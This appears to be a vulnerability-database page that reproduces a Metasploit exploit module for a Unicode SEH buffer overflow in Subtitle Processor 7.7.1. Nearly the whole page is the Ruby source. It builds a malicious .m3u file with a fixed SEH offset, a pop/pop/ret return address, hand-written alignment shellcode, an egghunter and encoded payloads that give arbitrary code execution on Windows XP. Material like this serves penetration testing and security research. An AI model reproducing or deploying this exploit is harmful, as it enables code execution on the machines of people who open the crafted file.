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Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow

🗓️ 28 Apr 2011 08:12:32Reported by Brandon Murphy, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow This module exploits a vulnerability found in Subtitle Processor 7. By supplying a long string of data as a .m3u file, Subtitle Processor first converts this input in Unicode, which expands the string size, and then attempts to copy it inline on the stack. This results a buffer overflow with SEH overwritten, allowing arbitrary code execution

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Egghunter

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Subtitle Processor 7.  By
        supplying a long string of data as a .m3u file, Subtitle Processor first converts
        this input in Unicode, which expands the string size, and then attempts to copy it
        inline on the stack.  This results a buffer overflow with SEH overwritten, allowing
        arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Murphy',  #Initial discovery, poc
          'sinn3r',          #Metasploit
        ],
      'References'     =>
        [
          [ 'OSVDB', '72050' ],
          [ 'EDB', '17217' ],
          [ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "seh",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3',
            {
              'Nop'    => "\x43",  #ADD BYTE PTR DS:[EBX],AL
              'Offset' => 4078,    #Offset to SEH chain
              'Ret'    => 0x57b4,  #Unicode compatible P/P/R (Subtitle.exe)
              'Max'    => 6000     #Max buffer size
            },
          ],
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2011-04-26' ))

      register_options(
        [
          OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u'])
        ])
  end

  def get_unicode_payload(p, opts)
    encoder = framework.encoders.create("x86/alpha_mixed")
    encoder.datastore.import_options_from_hash({'BufferRegister' => opts[:AlphaNumRegister] })
    alpha_payload = encoder.encode(p, nil, nil, platform)

    # This code can be found after the unicode payload is decoded
    alignment = opts[:PrependAlignment] || ""

    encoder = framework.encoders.create("x86/unicode_mixed")
    encoder.datastore.import_options_from_hash( {'BufferRegister'=> opts[:UnicodeRegister] })
    unicode_payload = encoder.encode(alignment + alpha_payload, nil, nil, platform)
    return unicode_payload
  end

  def exploit
    nop = target['Nop']
    sploit = ''

    hunter, p = generate_egghunter(payload.encoded, payload_badchars, { :checksum => false })

    opts = {
      :AlphaNumRegister => 'EAX',
      :UnicodeRegister  => 'ECX',
      # PUSH EBX; POP EAX; XOR AX, 0x4450; XOR AX, 0x4634; DEC EAX; XOR AL, 0x41; XOR AL, 0x57
      :PrependAlignment => "\x53\x58\x66\x35\x50\x44\x66\x35\x34\x46\x48\x34\x41\x34\x57"
    }
    hunter = get_unicode_payload(hunter, opts)

    sploit << rand_text_alpha(target['Offset'])
    sploit << "\x61"
    sploit << nop
    sploit << [target.ret].pack('V*')
    sploit << nop
    # first stage starts here
    sploit << "\x59"     #POP ECX
    sploit << nop
    sploit << "\x54"     #PUSH ESP
    sploit << nop
    sploit << "\x59"     #POP ECX
    sploit << "\x41"     #ADD BYTE PTR DS:[ECX], AL
    sploit << "\x59"     #POP ECX
    sploit << nop
    sploit << "\x51"     #PUSH ECX
    sploit << nop
    sploit << "\xc3"     #RET
    sploit << rand_text_alpha(48)
    sploit << hunter
    sploit << rand_text_alpha(200)
    sploit << p
    sploit << rand_text_alpha(target['Max']-sploit.length)

    #Generate file
    print_status("Creating #{datastore['FILENAME']}...")
    file_create(sploit)
  end
end

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